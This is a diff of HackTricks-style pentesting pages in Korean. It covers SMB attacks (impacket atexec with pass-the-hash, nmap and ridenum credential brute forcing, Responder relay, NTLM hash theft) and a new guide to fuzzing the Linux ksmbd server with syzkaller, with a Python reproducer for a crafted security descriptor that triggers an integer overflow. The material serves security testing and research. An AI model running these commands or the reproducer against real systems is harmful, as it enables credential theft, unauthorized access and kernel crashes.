| ./dcomexec.py [[domain/]username[:password]@]<targetName or address> | ||||
| @ -410,54 +412,60 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass | ||||
| ``` | ||||
| ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) | ||||
| 
 | ||||
| SMB를 통해 Task Scheduler를 통해 명령을 실행합니다 (_\pipe\atsvc_ 사용).\ | ||||
| **kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다. | ||||
| 작업 스케줄러를 통해 명령을 실행합니다 (SMB를 통해 _\pipe\atsvc_ 사용).\ | ||||
| **kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다. | ||||
| ```bash | ||||
| ./atexec.py [[domain/]username[:password]@]<targetName or address> "command" | ||||
| ./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami" | ||||
| ``` | ||||
| ## Impacket reference | ||||
| ## Impacket 참고 | ||||
| 
 | ||||
| [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) | ||||
| 
 | ||||
| ## **사용자 자격 증명 무차별 대입** | ||||
| ### ksmbd 공격 표면 및 SMB2/SMB3 protocol fuzzing (syzkaller) | ||||
| 
 | ||||
| **이것은 권장되지 않으며, 최대 허용 시도를 초과하면 계정이 차단될 수 있습니다** | ||||
| {{#ref}} | ||||
| ksmbd-attack-surface-and-fuzzing-syzkaller.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ## **Bruteforce users credentials** | ||||
| 
 | ||||
| **권장하지 않습니다. 최대 허용 시도를 초과하면 계정이 차단될 수 있습니다.** | ||||
| ```bash | ||||
| nmap --script smb-brute -p 445 <IP> | ||||
| ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name | ||||
| ``` | ||||
| ## SMB 릴레이 공격 | ||||
| ## SMB relay attack | ||||
| 
 | ||||
| 이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **중계**합니다. 인증 **세션이 성공적**이면 자동으로 **시스템** **셸**로 진입하게 됩니다.\ | ||||
| [**이 공격에 대한 더 많은 정보는 여기에서 확인하세요.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) | ||||
| 이 공격은 Responder 툴킷을 사용해 내부 네트워크에서 **SMB authentication sessions**을 캡처하고, 이를 **target machine**으로 **relays**합니다. 인증 **session**이 성공하면 자동으로 **system** **shell**로 진입합니다.\ | ||||
| [**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) | ||||
| 
 | ||||
| ## SMB-Trap | ||||
| 
 | ||||
| Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐츠에 접근하려고 할 때 자동으로 호스트에 인증을 시도합니다. 예: `img src="\\10.10.10.10\path\image.jpg"` | ||||
| Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 콘텐츠에 접근하려 할 때 자동으로 호스트에 인증을 시도합니다. 예: `img src="\\10.10.10.10\path\image.jpg"` | ||||
| 
 | ||||
| 이는 다음 함수에서 발생합니다: | ||||
| 이 동작은 다음 함수들에서 발생합니다: | ||||
| 
 | ||||
| - URLDownloadToFile | ||||
| - URLDownloadToCache | ||||
| - URLOpenStream | ||||
| - URLOpenBlockingStream | ||||
| 
 | ||||
| 일부 브라우저와 도구(예: Skype)에서 사용됩니다. | ||||
| 이는 일부 브라우저 및 도구(예: Skype)에서 사용됩니다. | ||||
| 
 | ||||
| .png>) | ||||
| .png>) | ||||
| 
 | ||||
| ### MitMf를 이용한 SMBTrap | ||||
| ### SMBTrap using MitMf | ||||
| 
 | ||||
| .png>) | ||||
| .png>) | ||||
| 
 | ||||
| ## NTLM 도난 | ||||
| ## NTLM Theft | ||||
| 
 | ||||
| SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심으면(SMB를 통해 예를 들어) SMB 인증 시도가 발생할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](#smb-relay-attack)에 사용될 수 있습니다. | ||||
| SMB Trapping과 유사하게, target system에 악성 파일을 심는 것(예: SMB를 통해)은 SMB 인증 시도를 유발할 수 있으며, Responder와 같은 도구로 NetNTLMv2 해시를 가로챌 수 있습니다. 그 해시는 오프라인에서 크랙하거나 [SMB relay attack](#smb-relay-attack)에 사용할 수 있습니다. | ||||
| 
 | ||||
| [참조: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) | ||||
| [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) | ||||
| 
 | ||||
| ## HackTricks 자동 명령 | ||||
| ## HackTricks Automatic Commands | ||||
| ``` | ||||
| Protocol_Name: SMB    #Protocol Abbreviation if there is one. | ||||
| Port_Number:  137,138,139     #Comma separated if there is more than one. | ||||
|  | ||||
| @ -0,0 +1,219 @@ | ||||
| # ksmbd 공격 표면 및 SMB2/SMB3 프로토콜 퍼징 (syzkaller) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## 개요 | ||||
| 이 문서는 syzkaller를 사용해 Linux in-kernel SMB 서버(ksmbd)를 테스트하고 퍼징하는 실용 기술들을 추상화해서 설명합니다. 구성 변경을 통해 프로토콜 공격 표면을 확장하고, SMB2 연산을 체이닝할 수 있는 상태 유지형 하니스(stateful harness)를 구축하며, 문법적으로 유효한 PDU를 생성하고, 약하게 커버되는 코드 경로에 변형(mutation)을 편향시켜 유효한 버그를 찾는 방법, 그리고 focus_areas와 ANYBLOB 같은 syzkaller 기능을 활용하는 방법에 중점을 둡니다. 원래 연구는 특정 CVE들을 열거하지만, 여기서는 재사용 가능한 방법론과 자신 환경에 맞게 적용할 수 있는 구체적 스니펫에 중점을 둡니다. | ||||
| 
 | ||||
| 대상 범위: SMB2/SMB3 over TCP. Kerberos and RDMA는 하니스 단순화를 위해 의도적으로 범위에서 제외합니다. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 구성으로 ksmbd 공격 표면 확장 | ||||
| 기본적으로 최소 구성의 ksmbd는 서버의 많은 부분을 테스트하지 않습니다. 추가 파서/핸들러를 통과하고 더 깊은 코드 경로에 도달하기 위해 다음 기능들을 활성화하세요: | ||||
| 
 | ||||
| - Global-level | ||||
| - Durable handles | ||||
| - Server multi-channel | ||||
| - SMB2 leases | ||||
| - Per-share-level | ||||
| - Oplocks (on by default) | ||||
| - VFS objects | ||||
| 
 | ||||
| 이 기능들을 활성화하면 다음과 같은 모듈에서 실행이 증가합니다: | ||||
| - smb2pdu.c (command parsing/dispatch) | ||||
| - ndr.c (NDR encode/decode) | ||||
| - oplock.c (oplock request/break) | ||||
| - smbacl.c (ACL parsing/enforcement) | ||||
| - vfs.c (VFS ops) | ||||
| - vfs_cache.c (lookup cache) | ||||
| 
 | ||||
| 참고 | ||||
| - 정확한 옵션은 배포판의 ksmbd userspace (ksmbd-tools)에 따라 달라집니다. /etc/ksmbd/ksmbd.conf 및 per-share 섹션을 검토하여 durable handles, leases, oplocks 및 VFS objects를 활성화하세요. | ||||
| - Multi-channel과 durable handles는 상태 머신과 수명을 변경하여, 동시성 상황에서 UAF/refcount/OOB 버그를 자주 드러냅니다. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 퍼징을 위한 인증 및 속도 제한 조정 | ||||
| SMB3는 유효한 세션이 필요합니다. 하니스에 Kerberos를 구현하면 복잡성이 증가하므로 퍼징에는 NTLM/guest를 선호하세요: | ||||
| 
 | ||||
| - guest 접근을 허용하고 map to guest = bad user로 설정하여 알려지지 않은 사용자가 GUEST로 폴백되도록 하세요. | ||||
| - NTLMv2를 허용하세요(비활성화되어 있다면 정책을 패치). 이렇게 하면 핸드셰이크를 단순하게 유지하면서 SMB3 코드 경로를 실행할 수 있습니다. | ||||
| - 실험 시 엄격한 credit 검사를 패치하세요(post-hardening for CVE-2024-50285로 인해 동시-op 크레디팅이 더 엄격해졌습니다). 그렇지 않으면 속도 제한으로 인해 퍼징 중인 시퀀스가 너무 일찍 거부될 수 있습니다. | ||||
| - 고처리량 퍼징 중 조기 거부를 피하기 위해 최대 연결 수를 늘리세요(예: 65536). | ||||
| 
 | ||||
| 주의: 이러한 완화는 퍼징을 용이하게 하기 위한 것뿐입니다. 프로덕션 환경에 이러한 설정을 적용하지 마세요. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 상태 유지 하니스: 리소스 추출 및 요청 체이닝 | ||||
| SMB는 상태 기반입니다: 많은 요청이 이전 응답에서 반환된 식별자(SessionId, TreeID, FileID 쌍 등)에 의존합니다. 하니스는 응답을 파싱하여 동일한 프로그램 내에서 ID를 재사용해야 심층 핸들러에 도달할 수 있습니다(예: smb2_create → smb2_ioctl → smb2_close). | ||||
| 
 | ||||
| 응답 버퍼를 처리하고(+4B NetBIOS PDU 길이는 건너뜀) ID를 캐시하는 예시 스니펫: | ||||
| ```c | ||||
| // process response. does not contain +4B PDU length | ||||
| void process_buffer(int msg_no, const char *buffer, size_t received) { | ||||
| uint16_t cmd_rsp = u16((const uint8_t *)(buffer + CMD_OFFSET)); | ||||
| switch (cmd_rsp) { | ||||
| case SMB2_TREE_CONNECT: | ||||
| if (received >= TREE_ID_OFFSET + sizeof(uint32_t)) | ||||
| tree_id = u32((const uint8_t *)(buffer + TREE_ID_OFFSET)); | ||||
| break; | ||||
| case SMB2_SESS_SETUP: | ||||
| // first session setup response carries session_id | ||||
| if (msg_no == 0x01 && received >= SESSION_ID_OFFSET + sizeof(uint64_t)) | ||||
| session_id = u64((const uint8_t *)(buffer + SESSION_ID_OFFSET)); | ||||
| break; | ||||
| case SMB2_CREATE: | ||||
| if (received >= CREATE_VFID_OFFSET + sizeof(uint64_t)) { | ||||
| persistent_file_id = u64((const uint8_t *)(buffer + CREATE_PFID_OFFSET)); | ||||
| volatile_file_id   = u64((const uint8_t *)(buffer + CREATE_VFID_OFFSET)); | ||||
| } | ||||
| break; | ||||
| default: | ||||
| break; | ||||
| } | ||||
| } | ||||
| ``` | ||||
| 팁 | ||||
| - 인증/상태를 공유하는 fuzzer 프로세스 하나를 유지하세요: ksmbd의 전역/세션 테이블과 함께 더 나은 안정성 및 커버리지를 제공합니다. syzkaller는 ops를 async로 표시해 동시성을 주입하고 내부적으로 재실행합니다. | ||||
| - Syzkaller의 실험적 기능 reset_acc_state는 전역 상태를 리셋할 수 있지만 심한 성능 저하를 초래할 수 있습니다. 대신 안정성을 우선하고 fuzzing에 집중하세요. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 문법 기반 SMB2 생성 (유효한 PDUs) | ||||
| Microsoft Open Specifications의 SMB2 구조를 fuzzer grammar로 변환해 generator가 구조적으로 유효한 PDU를 생성하도록 하세요. 이렇게 하면 PDUs가 체계적으로 디스패처와 IOCTL 핸들러에 도달합니다. | ||||
| 
 | ||||
| 예시 (SMB2 IOCTL 요청): | ||||
| ``` | ||||
| smb2_ioctl_req { | ||||
| Header_Prefix           SMB2Header_Prefix | ||||
| Command                 const[0xb, int16] | ||||
| Header_Suffix           SMB2Header_Suffix | ||||
| StructureSize           const[57, int16] | ||||
| Reserved                const[0, int16] | ||||
| CtlCode                 union_control_codes | ||||
| PersistentFileId        const[0x4, int64] | ||||
| VolatileFileId          const[0x0, int64] | ||||
| InputOffset             offsetof[Input, int32] | ||||
| InputCount              bytesize[Input, int32] | ||||
| MaxInputResponse        const[65536, int32] | ||||
| OutputOffset            offsetof[Output, int32] | ||||
| OutputCount             len[Output, int32] | ||||
| MaxOutputResponse       const[65536, int32] | ||||
| Flags                   int32[0:1] | ||||
| Reserved2               const[0, int32] | ||||
| Input                   array[int8] | ||||
| Output                  array[int8] | ||||
| } [packed] | ||||
| ``` | ||||
| 이 스타일은 올바른 structure sizes/offsets를 강제하며 blind mutation에 비해 커버리지를 획기적으로 향상시킵니다. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Directed Fuzzing With focus_areas | ||||
| 현재 커버리지가 약한 특정 함수/파일에 가중치를 두기 위해 syzkaller의 실험적 focus_areas를 사용하세요. 예시 JSON: | ||||
| ```json | ||||
| { | ||||
| "focus_areas": [ | ||||
| {"filter": {"functions": ["smb_check_perm_dacl"]}, "weight": 20.0}, | ||||
| {"filter": {"files": ["^fs/smb/server/"]}, "weight": 2.0}, | ||||
| {"weight": 1.0} | ||||
| ] | ||||
| } | ||||
| ``` | ||||
| 이는 smbacl.c의 산술/overflow 경로를 유발하는 유효한 ACLs를 구성하는 데 도움이 됩니다. 예를 들어, 과도한 dacloffset을 가진 악의적인 Security Descriptor가 integer-overflow를 재현합니다. | ||||
| 
 | ||||
| 재현기 빌더 (minimal Python): | ||||
| ```python | ||||
| def build_sd(): | ||||
| import struct | ||||
| sd = bytearray(0x14) | ||||
| sd[0x00] = 0x00; sd[0x01] = 0x00 | ||||
| struct.pack_into('<H', sd, 0x02, 0x0001) | ||||
| struct.pack_into('<I', sd, 0x04, 0x78) | ||||
| struct.pack_into('<I', sd, 0x08, 0x00) | ||||
| struct.pack_into('<I', sd, 0x0C, 0x10000) | ||||
| struct.pack_into('<I', sd, 0x10, 0xFFFFFFFF)  # dacloffset | ||||
| while len(sd) < 0x78: | ||||
| sd += b'A' | ||||
| sd += b"\x01\x01\x00\x00\x00\x00\x00\x00"  # minimal DACL | ||||
| sd += b"\xCC" * 64 | ||||
| return bytes(sd) | ||||
| ``` | ||||
| --- | ||||
| 
 | ||||
| ## ANYBLOB으로 커버리지 정체 돌파 | ||||
| syzkaller의 anyTypes (ANYBLOB/ANYRES)는 복잡한 구조체를 형식에 구애받지 않고 변형 가능한 blob으로 합칠 수 있다. 공개된 SMB pcaps에서 새로운 corpus를 생성하고 페이로드를 syzkaller 프로그램으로 변환해 당신의 pseudo-syscall(예: syz_ksmbd_send_req)을 호출하게 하라: | ||||
| ```bash | ||||
| # Extract SMB payloads to JSON | ||||
| # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json | ||||
| ``` | ||||
| 
 | ||||
| ```python | ||||
| import json, os | ||||
| os.makedirs("corpus", exist_ok=True) | ||||
| 
 | ||||
| with open("packets.json") as f: | ||||
| data = json.load(f) | ||||
| # adjust indexing to your tshark JSON structure | ||||
| packets = [e["_source"]["layers"]["tcp.payload"] for e in data] | ||||
| 
 | ||||
| for i, pkt in enumerate(packets): | ||||
| pdu = pkt[0] | ||||
| pdu_size = len(pdu) // 2  # hex string length → bytes | ||||
| with open(f"corpus/packet_{i:03d}.txt", "w") as f: | ||||
| f.write( | ||||
| f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)" | ||||
| ) | ||||
| ``` | ||||
| 이것은 탐색을 빠르게 시작시키며 UAFs(예: ksmbd_sessions_deregister) 를 즉시 유발할 수 있고 커버리지를 몇 퍼센트 정도 끌어올린다. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Sanitizers: KASAN을 넘어서 | ||||
| - KASAN은 힙 버그(UAF/OOB)를 탐지하는 주요 도구로 여전히 남아 있다. | ||||
| - KCSAN은 이 타겟에서 종종 오탐이나 낮은 심각도의 데이터 레이스를 보고한다. | ||||
| - UBSAN/KUBSAN은 배열 인덱스 의미론 때문에 KASAN이 놓치는 선언된 경계 오류를 잡아낼 수 있다. 예: | ||||
| ```c | ||||
| id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]); | ||||
| struct smb_sid { | ||||
| __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS]; | ||||
| __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */ | ||||
| } __attribute__((packed)); | ||||
| ``` | ||||
| Setting num_subauth = 0을 설정하면 sub_auth[-1]에 대한 in-struct OOB read가 발생하며, UBSAN의 declared-bounds 검사에 의해 포착됩니다. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 처리량 및 병렬성 관련 메모 | ||||
| - 단일 fuzzer 프로세스(인증/상태 공유)는 ksmbd에서 훨씬 더 안정적이며, syzkaller의 internal async executor 덕분에 여전히 races/UAFs를 드러냅니다. | ||||
| - 여러 VM을 사용하면 전체적으로 초당 수백 건의 SMB 명령을 여전히 처리할 수 있습니다. 함수 수준 커버리지는 fs/smb/server의 약 60%와 smb2pdu.c의 약 70% 정도 달성이 가능하지만, 이러한 지표는 상태 전환 커버리지를 충분히 반영하지 못합니다. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 실용 체크리스트 | ||||
| - ksmbd에서 durable handles, leases, multi-channel, oplocks 및 VFS objects를 활성화하세요. | ||||
| - guest 및 map-to-guest를 허용하고 NTLMv2를 수용하세요. fuzzer 안정성을 위해 credit limits를 제거하고 max connections를 늘리세요. | ||||
| - SessionId/TreeID/FileIDs를 캐시하고 create → ioctl → close를 연쇄하는 stateful harness를 구축하세요. | ||||
| - 구조적 유효성을 유지하기 위해 SMB2 PDUs에 대한 grammar를 사용하세요. | ||||
| - focus_areas를 사용해 커버리지가 낮은 함수(예: smbacl.c의 smb_check_perm_dacl 경로)에 더 높은 비중을 부여하세요. | ||||
| - 정체기를 깨기 위해 실제 pcaps에서 ANYBLOB로 시드하세요; 재사용을 위해 시드를 syz-db로 패키징하세요. | ||||
| - KASAN + UBSAN로 실행하세요; UBSAN declared-bounds 리포트는 신중히 분류하세요. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 참고자료 | ||||
| - Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html | ||||
| - syzkaller: https://github.com/google/syzkaller | ||||
| - ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4 | ||||
| - Async executor change (commit fd8caa5): https://github.com/google/syzkaller/commit/fd8caa5 | ||||
| - syz-db: https://github.com/google/syzkaller/tree/master/tools/syz-db | ||||
| - KASAN: https://docs.kernel.org/dev-tools/kasan.html | ||||
| - UBSAN/KUBSAN: https://docs.kernel.org/dev-tools/ubsan.html | ||||
| - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html | ||||
| - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/ | ||||
| - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures | ||||
| - Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user